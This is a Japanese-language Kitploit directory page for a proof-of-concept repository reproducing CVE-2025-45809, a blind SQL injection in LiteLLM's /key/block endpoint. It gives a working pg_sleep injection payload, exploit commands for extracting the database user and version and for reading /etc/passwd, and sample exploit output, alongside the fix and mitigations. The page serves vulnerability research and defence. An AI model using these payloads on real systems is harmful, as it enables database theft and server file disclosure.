Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-45809-PoC — 脆弱性を個別に再現するコード | Kitploit
ツール/GitHubGitHub/learner202649/cve-2025-45809-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテスト学習と教育データベースセキュリティ
GitHublearner202649/cve-2025-45809-poc

CVE-2025-45809-PoC

脆弱性を個別に再現するコード

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-45809 — LiteLLM SQL Injection via /key/block (Time-Based Blind SQLi)

LiteLLM v1.65.4(v1.81.0 より前のバージョン)の /key/block および /key/unblock エンドポイント の key パラメータには SQLインジェクションの脆弱性 が存在します。攻撃者は時間ベースのブラインドSQLインジェクション技術を 利用してデータベースの内容を窃取したり、サーバーのファイルを読み取ったりすることができます。

フィールド値
CVECVE-2025-45809
GHSAGHSA-cgmh-xxmq-hp46
CVSS v3.15.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
CWECWE-89 (SQL Injection)
影響を受けるバージョンLiteLLM < 1.81.0(v1.65.4 で確認)
修正バージョンv1.81.0+(パラメータ化クエリによる修正)
公開日2025-07-03
発見者shadia0(Huntr バウンティ経由)
リンクNVD • Huntr • Snyk

説明

LiteLLM の /key/block および /key/unblock エンドポイントは、API キーのブロック/ブロック解除を管理するために使用されます。 これらのエンドポイントは key パラメータを処理する際、ユーザー入力を SQL クエリ文字列に直接連結し(f-string によるフォーマット)、パラメータ化クエリを使用していないため、SQLインジェクションの脆弱性が発生します。

脆弱性のあるエンドポイント

エンドポイントメソッドインジェクションパラメータ
/key/blockPOSTkey (JSON body)
/key/unblockPOSTkey (JSON body)

攻撃ベクトル

  • 時間ベースのブラインドSQLインジェクション: PostgreSQL の pg_sleep() 関数を利用し、応答時間の差でインジェクションを確認します
  • データ窃取: 条件付き時間クエリにより、データベースの内容を 1 文字ずつ抽出します
  • ファイル読み取り: PostgreSQL の pg_read_file() 関数を利用してサーバーのファイルを読み取ります

概念実証

クイックスタート (Docker)

root@kitploit:~
# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000

注意:初回の exploit 実行時には、自動的に /key/generate を呼び出して API キーを作成し、 Prisma による Key データベーステーブルの作成をトリガーします。これは /key/block エンドポイントが 脆弱性のある SQL クエリパスに到達するために必要な前提条件です。 この手順をスキップすると、/key/block は Key テーブルが初期化されていないため直接 401 を返し、 インジェクションが発動しません。

4. 提取数据库当前用户

python3 exploit/exploit.py --mode extract-user --target http://localhost:4000

5. 提取 PostgreSQL 版本

python3 exploit/exploit.py --mode extract-version --target http://localhost:4000

6. 尝试读取 /etc/passwd

python3 exploit/exploit.py --mode file-read --target http://localhost:4000

7. (可选)验证修复版本

docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed

root@kitploit:~

### 期待される出力

**インジェクション確認 (--mode check):**

====================================================================== [VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4000 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)

[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)

[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s

root@kitploit:~

**修正版でのインジェクション拒否:**

====================================================================== [FIXED] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4001 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)

[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)

[+] Fixed version: No time delay detected (expected).

root@kitploit:~

---

## 技術的詳細

### 脆弱性のあるコード

LiteLLM v1.65.4 では、`/key/block` エンドポイントの処理ロジックは以下のようになっています(簡略版):

```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
    key = key_data.get("key", "")
    # 直接拼接用户输入到 SQL 查询中!
    query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
    await database.execute(query)
    return {"status": "success"}

インジェクションの仕組み

攻撃者は key パラメータに PostgreSQL の時間遅延関数をインジェクトします:

root@kitploit:~
' OR (SELECT pg_sleep(5)) IS NULL --

連結後の SQL は次のようになります:

root@kitploit:~
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'

応答時間の比較

テストシナリオ応答時間結果
正常なリクエスト (key=test)~0.01sベースライン
pg_sleep(3)~3.01sインジェクション有効
pg_sleep(5)~5.01sインジェクション確認

前提条件:データベーステーブルの初期化

LiteLLM v1.65.4 は Prisma ORM を使用してデータベースを管理します。Key テーブルは遅延作成方式を採用しており、 最初に /key/generate を呼び出して API キーを作成するまで、Key テーブルは PostgreSQL 上に存在しません。 このため /key/block エンドポイントのキー検証クエリ(WHERE key='{input}')は、インジェクションの脆弱性がある SQL コードパスに到達する前に、テーブルが存在しないため 401 を返します。

現在の PoC はこの問題を自動的に処理しています:exploit スクリプトはインジェクションペイロードを送信する前に、先に /key/generate を呼び出して API キーを作成し、データベーステーブルの準備ができていることを確認します。

注意:コンテナの初回起動時は約 30〜60 秒の待機が必要です(Prisma CLI のインストール + データベースの初期化)。ログに Uvicorn running on http://0.0.0.0:4000 が表示されてから exploit を実行してください。


環境

root@kitploit:~
CVE-2025-45809/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml          # LiteLLM config with DB connection
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # SQL injection payload builder
├── docs/
│   └── advisory.md
└── screenshots/
    └── README.md

修正

v1.81.0 で修正され、f-string による連結の代わりにパラメータ化クエリ(プリペアドステートメント)を使用するようになりました:

root@kitploit:~
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key})  # 参数安全绑定

緩和策

  1. LiteLLM を v1.81.0+ にアップグレードする
  2. 文字列連結の代わりにパラメータ化クエリを使用する
  3. key パラメータに対して厳格な入力検証を実施する
  4. WAF を導入して SQLインジェクションパターンを遮断する

参照

  • NVD Detail
  • Huntr Bounty
  • Snyk Advisory
  • GitHub PoC (shadia0/Patienc)

Disclaimer: This content is provided for educational purposes and authorized security testing only.

ツールをダウンロード